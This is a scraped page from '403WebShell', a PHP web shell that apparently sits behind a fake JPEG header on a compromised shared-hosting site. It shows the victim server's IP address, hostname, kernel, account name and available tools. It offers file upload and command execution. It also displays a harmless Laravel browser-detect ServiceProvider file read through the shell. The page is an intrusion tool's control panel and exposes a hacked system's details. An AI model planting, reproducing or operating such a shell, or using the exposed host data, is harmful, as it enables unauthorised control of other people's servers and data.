����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.133.83.94
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/bofirmacademy.com/vendor/hisorange/browser-detect/src/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/bofirmacademy.com/vendor/hisorange/browser-detect/src/ServiceProvider.php
<?php

namespace hisorange\BrowserDetect;

use Illuminate\Support\Facades\Blade;
use Illuminate\Support\ServiceProvider as BaseServiceProvider;

/**
 * Registers the package as a service provider,
 * also injects the blade directives.
 *
 * @package hisorange\BrowserDetect
 */
class ServiceProvider extends BaseServiceProvider
{
    /**
     * Register the custom blade directives.
     *
     * @inheritDoc
     *
     * @return void
     */
    public function boot(): void
    {
        $this->registerDirectives();

        $source = realpath($raw = __DIR__ . '/../config/browser-detect.php') ?: $raw;

        if ($this->app->runningInConsole()) {
            $this->publishes([
                $source => config_path('browser-detect.php'),
            ]);
        }

        $this->mergeConfigFrom($source, 'browser-detect');
    }

    /**
     * Register the blade directives.
     */
    protected function registerDirectives(): void
    {
        Blade::if(
            'desktop',
            function () {
                return app()->make('browser-detect')->detect()->isDesktop();
            }
        );

        Blade::if(
            'tablet',
            function () {
                return app()->make('browser-detect')->detect()->isTablet();
            }
        );

        Blade::if(
            'mobile',
            function () {
                return app()->make('browser-detect')->detect()->isMobile();
            }
        );

        Blade::if(
            'browser',
            function ($fn) {
                return app()->make('browser-detect')->detect()->$fn();
            }
        );
    }

    /**
     * Only binding can occure here!
     *
     * @inheritdoc
     */
    public function register(): void
    {
        $this->app->singleton('browser-detect', function ($app) {
            return new Parser($app->make('cache'), $app->make('request'), $app->make('config')['browser-detect'] ?? []);
        });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit